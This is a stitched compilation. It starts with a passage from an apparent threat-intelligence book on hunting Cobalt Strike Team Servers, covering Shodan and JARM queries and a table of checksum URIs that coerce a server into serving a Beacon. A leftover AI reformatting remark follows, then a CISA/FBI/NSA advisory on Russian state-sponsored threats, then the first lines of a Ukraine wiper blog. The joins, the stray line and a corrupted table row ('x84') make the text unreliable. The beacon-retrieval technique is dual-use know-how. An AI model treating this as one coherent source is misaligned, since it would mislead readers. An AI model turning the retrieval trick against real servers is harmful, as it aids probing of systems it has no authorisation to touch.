In this phase, you should also think about exactly who is going to consume the produced intelligence, and what their requirements are. It is all too easy for a passionate researcher to get caught up in a cool exploit or innovative obfuscation technique. But if the intended audience is a CISO looking to decide what tooling to buy based on trends in attacker tactics, techniques, and procedures (TTPs), an intelligence product that goes down a different rabbit hole is worthless for answering this question.
An audience might think differently than you, and they could require things that you would disregard. One way to help define who needs which information is to describe three different types of intelligence:
- Strategic - Broader trends for a non-technical audience
- Tactical - Outlining TTPs of threat actors for a technical audience
- Operational - Details about malware and attacks for a technical audience
Hopefully, you now understand the importance of this phase and can see how putting a little more time and thought into it will pay off for the rest of your endeavors.
### Collection
Now that we know what facts we seek and who will be consuming those facts, we need some data to work with. Before you get all excited and grab all the data from All-The-Things™, keep in mind the question that we are trying to answer. We need data to answer that question. Specifically, we need relevant data.
Collection is where we gather that relevant data. This could be both internal and external data, including:
- File hashes
- IP addresses
- Domains
- Political news articles
- Historical information
- Logs
- IR reports
- Blogs
- Dark web
- Social media sources
- Code snippets from online repos
- Data dumps
From a very generic perspective, external data sources are usually easier to access and consume because they come from products that are made to be used that way. External sources typically have a well-defined interface for extracting data, such as via API, or export functionality within the user interface.
Internal data sources require more time and development effort to introduce because they usually aren’t coming from products designed with that functionality in mind. Pulling that data out might require extra processes from teams like IR or the SOC, which are busy with their other daily responsibilities. It might also require further development of internal tools, diverting development resources away from improvements to the primary function of the tool is a tricky balancing act.
The trade-off to consider is that while internal sources contain information that is way more relevant to your organization, an over-reliance on external sources might not give you the insight you require.
Regardless of where you get your data from, collection is the perfect place to introduce automation. As you read through the rest of the book, look at the queries and processes used to automate the harvest of Cobalt Strike Beacons. You should see that they can all be performed by either a human or in an automated fashion. Where things can be automated, try to make that a reality. The biggest benefit of having humans in the mix will become apparent soon.
### Processing
Now you have data, but it might not be ready yet for human consumption. Processing is where you manipulate the data. You organize it, label it, translate it, deobfuscate it, decrypt it, and filter it. You make it ready for the analyst to use.
As with the previous phase, automation is pretty much a prerequisite for the processing phase. The number of manipulations you are likely to have to do, over the sheer volume of data you will inevitably gather, is a huge waste of your most precious resource – your team. Not to mention, this sort of processing is soul-destroying drudge work.
The final thing to think about as you’re processing data is how to provide a curated dataset somewhere that your analysts can interrogate it. You can make this as complicated or simple as you like. Microsoft® Excel® pivot tables can be a pretty powerful starting point. Maltego® and Jupyter® Notebook offer more advanced visualizations. And for the truly adventurous, PyQt5 makes custom data visualizations very easy.
### Analysis
So now we have a question, we have an audience, and we have relevant data. This is the point at which humans cannot be replaced. In a phase shrouded by the psychology of cognitive biases, competing hypotheses, and a myriad of reasoning techniques, we attempt to answer the initial question we were assigned.
When conducting analysis, it is important to keep the two outputs from planning and direction clear in your mind: What is the question, and who is it for?
If you are in the intelligence-creation space, you are (or at least should be) a curious person. While this is a terrific quality for analysts, it has a significant downside. You always want to know more, so you might struggle with where to stop analyzing.
On the surface, understanding more about any given subject is better, right? Creating a masterpiece of a report that takes four months to write means the data you reference might be out of date and therefore not actionable. Conversely, if you work quicker and get the data out sooner, you might not have the time you need to assure the accuracy of the data. This balance between time and accuracy versus completeness is something everyone in the field battles with.
To help with this balance, let us go back to planning and direction. Who is going to consume the intelligence, and what do they need from it?
As a very rough, very generic guide, we can look back at the different types of intelligence:
- Strategic - Greater need for accuracy and completeness, less time sensitive.
- Tactical - The middle ground. As complete as it can be, while being delivered as quickly as possible.
- Operational - Needs information as close to real time as possible; some lack of accuracy is tolerated.
Before we move on to the next phase, it is worth noting that entire careers have gone into understanding how to analyze data. There is no way we can hope to do the science of research and intelligence analysis any justice in this book. If you are wanting to understand the way people think and reason, Richard J. Heuer’s book *Psychology of Intelligence Analysis* is a great place to start.
### Dissemination
Once you break away from the fun stuff, it is time to gently place your intelligence baby into the hands of its new owner(s). Your creation needs to be released for consumption by vested stakeholders. In reality, this will likely involve many teams and individuals who are involved in providing XDR services.
Referring to the initial phase of planning and development again, the medium for this publication will depend on the audience and their requirements. As with everything contained in this section, there is no right or wrong way, but there are factors to consider with the different types of intelligence products available.
SOC analysts and IR teams are going to want an intelligence product they can parse quickly, and perhaps load into tooling. Executives are going to require something that is easily understood, preferably in report format, or potentially as a briefing with slides and key findings.
Remember where we said that the planning and direction phase will haunt you, if it’s done sloppily? If you give your IR team a 40-page PDF file, or your executives a list of contextualized IOCs, people aren’t going to see the value in the intelligence you have lovingly crafted. Delivery of the information should not be an afterthought.
There it is: we’ve planned, collected, processed, analyzed the data. And now we’ve delivered it to the stakeholder. We’re done, finished, time for the next… But wait! We’re not quite there yet.
### Evaluation and Feedback
We made it to the final phase, and it’s time to evaluate the delivered item against the goal we created in the planning phase. Did we deliver what we wanted to? Was it accurate? Was it timely?
We can’t possibly attempt to answer those questions without something to compare it to. This once again highlights the importance of the planning and direction phase.
Aside from evaluating the product, we should highlight any deficits that were discovered in any phase of the lifecycle so that improvements can be made. Because this is a cyclical process, if this step is missed, it will mean a degradation of the service over time, and repeated failures in future projects.
Evaluating the lifecycle can help us with automation too. Full automation is not always immediately achievable. It often requires an iterative approach over time, with cyclical analysis and development driven by insights gleaned from repeated manual processing, as well as feedback from stakeholders.
An approach that we’ve implemented, which we’ve found helps us when analyzing the successes and failures of each phase, is to look at each one through the lens of the three main components needed to deliver it:
- People
- Process
- Technology
For example, when considering the collection phase, ask the following questions:
- Do we have the skill set we needed within the team to identify the relevant data required?
- Does the process for gathering the data execute in a timely fashion?
- Do we have the right tools in place to ingest the data?
If you look at it from this perspective, you can then make recommendations and secure funding with specificity. And if you want to go the extra mile, you can quantify the improvements to make a business case.
### Aligning the Stars: The CTI Lifecycle
OK, now that we’ve gotten all the administrative details out of the way, let the games begin. Typically, when you use the CTI lifecycle within your organization, the points at which the requestor or customer will interact with the lifecycle are limited. They will be involved in the planning and direction phase, helping to define what they need and how they need it. The next point at which they will be involved is when they receive the product, in the dissemination.
The majority of the work you do will be completed out of the spotlight. For the purposes of this book, we will walk through those phases, to give inspiration in how you can approach the lifecycle within your organization.
Quick quiz: What is the first phase of the lifecycle? You got it, Planning & Direction!
So, for the purposes of this book – what was our question, and who was our initial audience?
Eric Milam, our Vice President of Research, tasked the BlackBerry Research & Intelligence Team with providing intelligence to all XDR stakeholders to help them proactively protect and defend against Cobalt Strike.
We then asked ourselves:
**“How do we proactively defend against Cobalt Strike?”**
There is a lot in that question. If you look at it through the advice above, does it meet the requirements of a narrow question? Not really! It is broad, and it isn’t an intelligence question. But it has an intelligence component.
So, we worked on what was actually required from the intelligence side of the team. In order to answer the bigger question, we have several teams who need to consume our intelligence, including SOC teams, product engineering, data scientists, and analysts, all contributing to products and services under the XDR umbrella.
That one question became several questions, with different audiences across the XDR solution space, and therefore different deliverables.
Our SOC requires contextualized alert information, and asked:
**“How can we improve incident correlation and reduce alert fatigue?”**
Product engineering wants a better understanding of the operation of Cobalt Strike Beacon, posing the question:
**“How can we fine-tune EDR to detect Beacon payloads?”**
Data scientists want labeled data for training models, wondering:
**“What features are helpful for training models to classify Cobalt Strike Beacon payloads and configurations?”**
IR wants intelligence correlation, IOCs, and TTPs, asking:
**“How can we improve correlation and campaign tracking relating to Cobalt Strike?”**
Finally, intelligence analysts asked:
**“How can we track Team Servers and campaigns?”**
Throughout the remainder of this book, we’ll demonstrate our CTI lifecycle by building an automation system to collect and process Cobalt Strike Beacon payloads, uncovering over 6,000 Team Servers along the way. We’ll provide our insights and trends from analyzing over 48,000 Beacons served from those 6,000+ Team Servers, and we also exhibit how intelligence correlation can be performed to enhance our knowledge of threat groups.
Finally, we will debrief and assess how our results helped answer the questions posed by the various stakeholders.
---
## Chapter 2 – All Your Beacons Are Belong to Us
To defend against Cobalt Strike, we must first understand how it operates. Cobalt Strike works in an agent and server configuration. Each Beacon is deployed (usually surreptitiously) as an agent on the endpoint and is configured to communicate with a Team Server that acts as the C2.
One is rendered useless without the other, which gives us a couple of options in terms of hunting and detection capabilities. We can choose to detect and respond to either the Beacon or the Team Server; however, there are reasons why you may choose one over the other.
Detecting and responding to the Beacon likely means that a threat actor is already active on our networks, or that there has been a patient zero victim. This approach is therefore largely reactive. Detecting the Team Server has no such requirement and means we do not have to wait for a device to be targeted before taking action to defend ourselves.
To be proactive, which is the ideal scenario, we must be actively looking to locate and identify Cobalt Strike Team Servers in the wild. Ideally, this would happen as soon as possible once a new Team Server is deployed. This would allow us to take preventative actions, thereby cutting the head off the snake before it ever has a chance to get close enough to bite.
### Data Collection
**Defining the Scope**
There are several data sources we can use to generate a list of Cobalt Strike servers that we will want to defend against. These sources can include the following:
- Threat intelligence feeds
- Industry reports
- Incident response data
- EDR alerts
- Threat hunting
While they are still valuable, many of these sources are reactive in nature and place defenders on the back foot. By the time something ends up in an intelligence report or has triggered alerts in your SIEM, something bad has potentially already happened.
There are several public methodologies for identifying Cobalt Strike Team Servers or active Beacons. These can include, but are not limited to:
- Default security certificates
- Default port (50050/TCP)
- A tell-tale extra null byte in HTTP server responses
- Jitter and sleep interval analysis
- JARM signatures
- DNS redirector response
As already stated, our aim is to stay one step ahead of the bad guys and detect Team Servers in the wild. To this end, we have three main options:
- Scan the entire Internet using a custom-built scanner with the purpose of detecting and analyzing Cobalt Strike Team Servers
- Leverage well-known and established scanning services already available on the Internet such as Shodan, Rapid7, Censys, or ZoomEye
- Build a hybrid system that leverages public services in conjunction with a private, more targeted scanner
All options have their strengths and weaknesses. They require differing levels of investment and have different barriers to entry for any organization looking to implement such a system.
Building and operating a bespoke Internet-wide scanner and analyzer is the best option in terms of the potential quantity of results. It also offers the best ability to add customizations. But this is also the most expensive option in terms of the time and skills required to implement it. It might be beyond many organizations’ capabilities or budget.
The use of public scanning services can be helpful for organizations that do not have an existing way of discovering or tracking Cobalt Strike infrastructure. However, without an additional layer of human or automated analysis for quality assurance, these services might not yield optimal results. You could not achieve a high level of certainty that a server is indeed hosting a Cobalt Strike instance.
Building a hybrid system is a happy medium between these two approaches. This should provide results that have a high level of certainty, but in a more cost-effective manner. Granted, you might not have the same volume of results as from a bespoke system, but it would certainly still offer a good return on investment.
**Crafting Some Queries**
Trying to build a scanner to scan the entire Internet, to accurately fingerprint the systems found, and then to store all the resulting data is no mean feat. Don’t forget to add to this the potentially significant effort required to procure the budget for your AWS (Amazon Web Services) bill if you want to do this continuously and rapidly, and to store the results for any length of time.
This is where services like Shodan can make life easier, as they have already done the legwork for you. Other researchers have used similar services like Censys and ZoomEye. Or you can opt to use datasets from Rapid7 instead for Cobalt Strike hunting.
For this paper, we will focus on Shodan, but Rapid7 Open Data was also invaluable in our data collection phase. You may decide to use one or even all the services mentioned.
Identifying Cobalt Strike team servers in the wild by using ZoomEye.
The important part of this phase is getting relevant data to feed to the next stage of our analysis. Firstly, we need to craft search queries to unlock the value in Shodan’s data. To limit false positives, these queries need to be based on known Cobalt Strike Team Server characteristics. The results of these queries will still need further scrutiny and processing to increase the level of certainty that a server is hosting Cobalt Strike.
It will take time, experimentation, and regular updates to craft a good set of queries that can account for the different versions of Team Server. These queries should also include instances where the threat actor has customized their deployment, causing it to go undetected by an existing query set.
Here, we have crafted a query that can be used to detect the “404 Not Found” HTTP response returned from the NanoHTTPD server used in the backend of a Cobalt Strike Team Server.
This query searches for an HTTP server returning a “404 Not Found” response that has a content length of zero, a content type of “text/plain,” and which returns a “Date” header.
The number of results returned via this Shodan query is huge, with more than 322,000 in total. The majority of these would likely be false positives. This is due to the way Shodan queries operate; they will trigger on any systems that contain the values specified in our query, including systems that contain other headers in addition to those specified.
For those familiar with programming logic or string comparisons, it is best to think of Shodan queries as a “contains” comparison, rather than “equals.” To work around this, we will require a tighter, more specific query to filter some of these extraneous results out.
For example, if we wanted to remove results that contain a “Connection” header, we can append “AND NOT “Connection”” to our existing query. This would significantly reduce the number of results and cut down on false positives.
The alternative to filtering at the query level is to perform some additional processing of the results, using automation or scripting.
Depending on your level of Shodan API access, you might be forced to refine the query quite a bit, or else you risk exceeding your API keys limitations. You will definitely need more than one query to cover the range of Cobalt Strike server configurations or customizations, so make sure you adjust your approach to suit your API limits.
There needs to be a balance between having a query that is not so tight that it creates false negatives, but also not so loose that you create false positives (which in effect are wasted API query results). API limitations aside, in most scenarios a false positive is more favorable than a false negative. False positives can be whittled down later, but false negatives are missed Team Servers, which are potentially active in the wild and used to conduct attacks.
Another query that has provided valuable results for detecting Cobalt Strike Team Servers is based on JARM fingerprinting. JARM is a Transport Layer Security (TLS) fingerprinting tool developed by Salesforce, which they have leveraged to detect Cobalt Strike Team Servers and other malicious servers.
Searching a known Java 11 JARM associated with Cobalt Strike, we received a little over 6,000 results. These results contain Cobalt Strike Team Servers as well as legitimate servers running the Java 11 TLS stack, so false positives will be present.
We also need to consider that spoofing JARM signatures is a possibility, whereby a server can be configured to masquerade as a Cobalt Strike Team Server from a TLS/JARM perspective. These spoofed servers might be configured to act as a honeypot that could be used to detect systems like ours, that are attempting to discover Cobalt Strike Team Servers in the wild. These servers can then be blocked during future deployments, potentially thwarting our scanning efforts.
Additionally, threat actors with an awareness of JARM fingerprinting could also modify their TLS stack in a way that alters their JARM fingerprint to evade detection. Looking at the top 10 JARM fingerprints for Team Servers we have observed in the wild, we can confirm that this is the case. The top result by far is the JARM fingerprint for the Java 11 TLS stack, but there are several notable deviations from this.
Other queries can be based on criteria such as Cobalt Strike’s default, self-signed SSL certificate, which we’ll take a closer look at later in the book.
This SSL certificate should ideally be changed from the default prior to a live operation or engagement, but people often neglect to change it when they deploy a Team Server. This gives us an opportunity to discover servers that still use this certificate, whether intentionally or not.
Lastly, we can also craft queries based on the numerous Malleable C2 profiles for additional coverage (we’ll cover these profiles in more detail in Chapter 3). One such example would be a query to detect Team Servers using the Microsoft Update Malleable C2 profile. This profile is configured to use a certificate common name of `www[.]windowsupdate.com`, to masquerade as a legitimate Microsoft certificate.
With some time and experimentation, and further knowledge of Malleable C2 profiles, common certificates, and HTTP response headers, we can craft multiple queries that will return an abundance of data, which we will need to further validate for potential Team Server activity.
### Data Validation
Now that we have crafted some queries and started to gather data, how do we validate the results? There are a few questions that we can ask of the data, which can increase our confidence of a valid detection:
1. Do any servers appear in multiple result sets? (i.e., are there detection overlaps?)
2. Have any of the collected servers been reported via OSINT channels, threat intelligence feeds, or been observed attacking other organizations?
3. Can we coerce the Team Server to serve up a Beacon?
At a minimum, we need to interrogate the datasets and intelligence feeds for detection overlaps and duplications and check if any of the servers have already been observed carrying out malicious activities. Detection overlaps can be used to our advantage here; if we have two or more differing queries or datasets that return data containing the same IP address, then it can increase the likelihood that the discovered IP is in fact an operating Team Server.
The ideal scenario is one where we can force a server from our dataset to serve us a Beacon. If we can do so, then we will know for certain that we have discovered a Team Server and can mark it for the next stages of our CTI lifecycle.
This will not always be possible, as Team Servers can be protected behind redirectors that can limit connections to the Team Server itself, thereby preventing us from retrieving a Beacon. In this instance, there are further ways of detecting Cobalt Strike redirectors that can be added into our validation process to further increase our detection confidence.
Sticking with the objective of retrieving a Beacon from a Team Server, we need to know how we can emulate a valid stager check-in so that we are served a Beacon. There is a bit of behavior that was implemented purposefully to allow interoperability between Cobalt Strike and Metasploit Framework generated stagers that can help us here. Both Metasploit and Cobalt Strike stage their payloads in such a way that a specially crafted HTTP request – where the Uniform Resource Identifier (URI) matches a specific checksum value – will cause the Team Server to serve a Beacon.
Depending on the mode of operation and the architecture of the payload being staged, the URI may need to be of a specific length and have a specific checksum value. The breakdown of how this works for Cobalt Strike can be seen in the table below.
| Architecture | Mode | Checksum | URI Length | Example URI |
|--------------|------|----------|------------|-------------|
| x86 | Normal | 92 | ANY | /aaaaaw |
| x64 | Normal | 93 | 4 | /dVbA |
| x84 | Strict | 92 | 5 | /aa910 |
| x64 | Strict | 93 | 5 | /ab820 |
---
This concludes the cleanup of the provided text into a more readable Markdown format. |
# Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
## SUMMARY
This joint Cybersecurity Advisory (CSA)—authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)—is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.
CISA, the FBI, and NSA encourage the cybersecurity community—especially critical infrastructure network defenders—to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## RECOMMENDATIONS
1. **Be prepared.** Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.
2. **Enhance your organization’s cyber posture.** Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.
3. **Increase organizational vigilance.** Stay current on reporting on this threat. Subscribe to CISA’s mailing list and feeds to receive notifications when CISA releases information about a security topic or threat.
CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their organization.
## TECHNICAL DETAILS
Note: this advisory uses the MITRE ATT&CK® for Enterprise framework, version 10. Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics—including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security—to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:
- CVE-2018-13379 FortiGate VPNs
- CVE-2019-1653 Cisco router
- CVE-2019-2725 Oracle WebLogic Server
- CVE-2019-7609 Kibana
- CVE-2019-9670 Zimbra software
- CVE-2019-10149 Exim Simple Mail Transfer Protocol
- CVE-2019-11510 Pulse Secure
- CVE-2019-19781 Citrix
- CVE-2020-0688 Microsoft Exchange
- CVE-2020-4006 VMWare (note: this was a zero-day at time)
- CVE-2020-5902 F5 Big-IP
- CVE-2020-14882 Oracle WebLogic
- CVE-2021-26855 Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065)
Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments—including cloud environments—by using legitimate credentials.
In some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware.
Russian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes:
- Targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020. The actors successfully compromised networks and exfiltrated data from multiple victims.
- Global Energy Sector intrusion campaign, 2011 to 2018. These actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.
- Cyberattack against Ukrainian critical infrastructure, 2015 and 2016. The actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed BlackEnergy malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed CrashOverride malware specifically designed to attack power grids.
For more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or cisa.gov/Russia.
## DETECTION
Given Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:
- Implement robust log collection and retention. Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include:
- Native tools such as M365’s Sentinel.
- Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity.
- Look for behavioral evidence or network and host-based artifacts from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs.
- To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.
- To detect use of compromised credentials in combination with a VPS, follow the below steps:
- Look for suspicious “impossible logins,” such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user’s geographic location.
- Look for one IP used for multiple accounts, excluding expected logins.
- Look for “impossible travel.” Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). Note: implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.
- Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the ntds.dit file from a domain controller.
- Look for suspicious privileged account use after resetting passwords or applying user account mitigations.
- Look for unusual activity in typically dormant accounts.
- Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.
- For organizations with OT/ICS systems:
- Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software.
- Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive.
## INCIDENT RESPONSE
Organizations detecting potential APT activity in their IT or OT networks should:
1. Immediately isolate affected systems.
2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.
3. Collect and review relevant logs, data, and artifacts.
4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
5. Report incidents to CISA and/or the FBI via your local FBI field office or the FBI’s 24/7 CyWatch.
Note: for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to—or control of—the IT and/or OT environment. Refer to the Mitigations section for more information.
## MITIGATIONS
CISA, the FBI, and NSA encourage all organizations to implement the following recommendations to increase their cyber resilience against this threat.
### Be Prepared
**Confirm Reporting Processes and Minimize Coverage Gaps**
- Develop internal contact lists. Assign main points of contact for a suspected incident as well as roles and responsibilities and ensure personnel know how and when to report an incident.
- Minimize gaps in IT/OT security personnel availability by identifying surge support for responding to an incident. Malicious cyber actors are known to target organizations on weekends and holidays when there are gaps in organizational cybersecurity—critical infrastructure organizations should proactively protect themselves by minimizing gaps in coverage.
- Ensure IT/OT security personnel monitor key internal security capabilities and can identify anomalous behavior. Flag any identified IOCs and TTPs for immediate response.
**Create, Maintain, and Exercise a Cyber Incident Response, Resilience Plan, and Continuity of Operations Plan**
- Create, maintain, and exercise a cyber incident response and continuity of operations plan.
- Ensure personnel are familiar with the key steps they need to take during an incident and are positioned to act in a calm and unified manner. Key questions:
- Do personnel have the access they need?
- Do they know the processes?
- For OT assets/networks:
- Identify a resilience plan that addresses how to operate if you lose access to—or control of—the IT and/or OT environment.
- Identify OT and IT network interdependencies and develop workarounds or manual controls to ensure ICS networks can be isolated if the connections create risk to the safe and reliable operation of OT processes. Regularly test contingency plans, such as manual controls, so that safety critical functions can be maintained during a cyber incident. Ensure that the OT network can operate at necessary capacity even if the IT network is compromised.
- Regularly test manual controls so that critical functions can be kept running if ICS or OT networks need to be taken offline.
- Implement data backup procedures on both the IT and OT networks. Backup procedures should be conducted on a frequent, regular basis. Regularly test backup procedures and ensure that backups are isolated from network connections that could enable the spread of malware.
- In addition to backing up data, develop recovery documents that include configuration settings for common devices and critical OT equipment. This can enable more efficient recovery following an incident.
### Enhance your Organization’s Cyber Posture
CISA, the FBI, and NSA recommend organizations apply the best practices below for identity and access management, protective controls and architecture, and vulnerability and configuration management.
**Identity and Access Management**
- Require multi-factor authentication for all users, without exception.
- Require accounts to have strong passwords and do not allow passwords to be used across multiple accounts or stored on a system to which an adversary may have access.
- Secure credentials. Russian state-sponsored APT actors have demonstrated their ability to maintain persistence using compromised credentials.
- Use virtualizing solutions on modern hardware and software to ensure credentials are securely stored.
- Disable the storage of clear text passwords in LSASS memory.
- Consider disabling or limiting New Technology Local Area Network Manager (NTLM) and WDigest Authentication.
- Implement Credential Guard for Windows 10 and Server 2016. For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
- Minimize the Active Directory attack surface to reduce malicious ticket-granting activity. Malicious activity such as “Kerberoasting” takes advantage of Kerberos’ TGS and can be used to obtain hashed credentials that attackers attempt to crack.
- Set a strong password policy for service accounts.
- Audit Domain Controllers to log successful Kerberos TGS requests and ensure the events are monitored for anomalous activity.
- Secure accounts.
- Enforce the principle of least privilege. Administrator accounts should have the minimum permission they need to do their tasks.
- Ensure there are unique and distinct administrative accounts for each set of administrative tasks.
- Create non-privileged accounts for privileged users and ensure they use the non-privileged accounts for all non-privileged access (e.g., web browsing, email access).
**Protective Controls and Architecture**
- Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor or malware. Use network monitoring tools and host-based logs and monitoring tools, such as an endpoint detection and response (EDR) tool. EDR tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
- Enable strong spam filters.
- Enable strong spam filters to prevent phishing emails from reaching end users.
- Filter emails containing executable files to prevent them from reaching end users.
- Implement a user training program to discourage users from visiting malicious websites or opening malicious attachments.
Note: CISA, the FBI, and NSA also recommend, as a longer-term effort, that critical infrastructure organizations implement network segmentation to separate network segments based on role and functionality. Network segmentation can help prevent lateral movement by controlling traffic flows between—and access to—various subnetworks.
- Appropriately implement network segmentation between IT and OT networks. Network segmentation limits the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone that eliminates unregulated communication between the IT and OT networks.
- Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to filter network traffic and monitor communications between zones. Prohibit ICS protocols from traversing the IT network.
**Vulnerability and Configuration Management**
- Update software, including operating systems, applications, and firmware on IT network assets, in a timely manner. Prioritize patching known exploited vulnerabilities, especially those CVEs identified in this CSA, and then critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
- Consider using a centralized patch management system. For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.
- Consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats. CISA’s vulnerability scanning service evaluates external network presence by executing continuous scans of public, static IP addresses for accessible services and vulnerabilities.
- Use industry recommended antivirus programs.
- Set antivirus/antimalware programs to conduct regular scans of IT network assets using up-to-date signatures.
- Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
- Implement rigorous configuration management programs. Ensure the programs can track and mitigate emerging threats. Review system configurations for misconfigurations and security weaknesses.
- Disable all unnecessary ports and protocols.
- Review network security device logs and determine whether to shut off unnecessary ports and protocols. Monitor common ports and protocols for command and control activity.
- Turn off or disable any unnecessary services (e.g., PowerShell) or functionality within devices.
- Ensure OT hardware is in read-only mode.
### Increase Organizational Vigilance
- Regularly review reporting on this threat. Consider signing up for CISA notifications to receive timely information on current security issues, vulnerabilities, and high-impact activity.
## RESOURCES
- For more information on Russian state-sponsored malicious cyber activity, refer to cisa.gov/Russia.
- Refer to CISA Analysis Report Strengthening Security Configurations to Defend Against Attackers Targeting Cloud Services for steps for guidance on strengthening your organization's cloud security practices.
- Leaders of small businesses and small and local government agencies should see CISA’s Cyber Essentials for guidance on developing an actionable understanding of implementing organizational cybersecurity practices.
- Critical infrastructure owners and operators with OT/ICS networks should review the following resources for additional information:
- NSA and CISA joint CSA NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems.
- CISA factsheet Rising Ransomware Threat to Operational Technology Assets for additional recommendations.
## REWARDS FOR JUSTICE PROGRAM
If you have information on state-sponsored Russian cyber operations targeting U.S. critical infrastructure, contact the Department of State’s Rewards for Justice Program. You may be eligible for a reward of up to $10 million, which DOS is offering for information leading to the identification or location of any person who, while acting under the direction or control of a foreign government, participates in malicious cyber activity against U.S. critical infrastructure in violation of the Computer Fraud and Abuse Act (CFAA). Contact +1-202-702-7843 on WhatsApp, Signal, or Telegram, or send information via the Rewards for Justice secure Tor-based tips line located on the Dark Web. For more details refer to rewardsforjustice.net/malicious_cyber_activity.
## CAVEATS
The information you have accessed or received is being provided “as is” for informational purposes only. CISA, the FBI, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or NSA.
## REFERENCES
[1] Joint NCSC-CISA UK Advisory: Further TTPs Associated with SVR Cyber Actors. |
# Ukraine: Disk-wiping Attacks Precede Russian Invasion
**UPDATE February 24, 2022, 13:42:** This blog has been updated with details about ransomware being used as a possible decoy during some wiper attacks.
**UPDATE February 25, 2022, 17:00:** This blog has been updated with details on how a known Microsoft SQL Server vulnerability (CVE-2021-1636) was exploited in at least one attack.
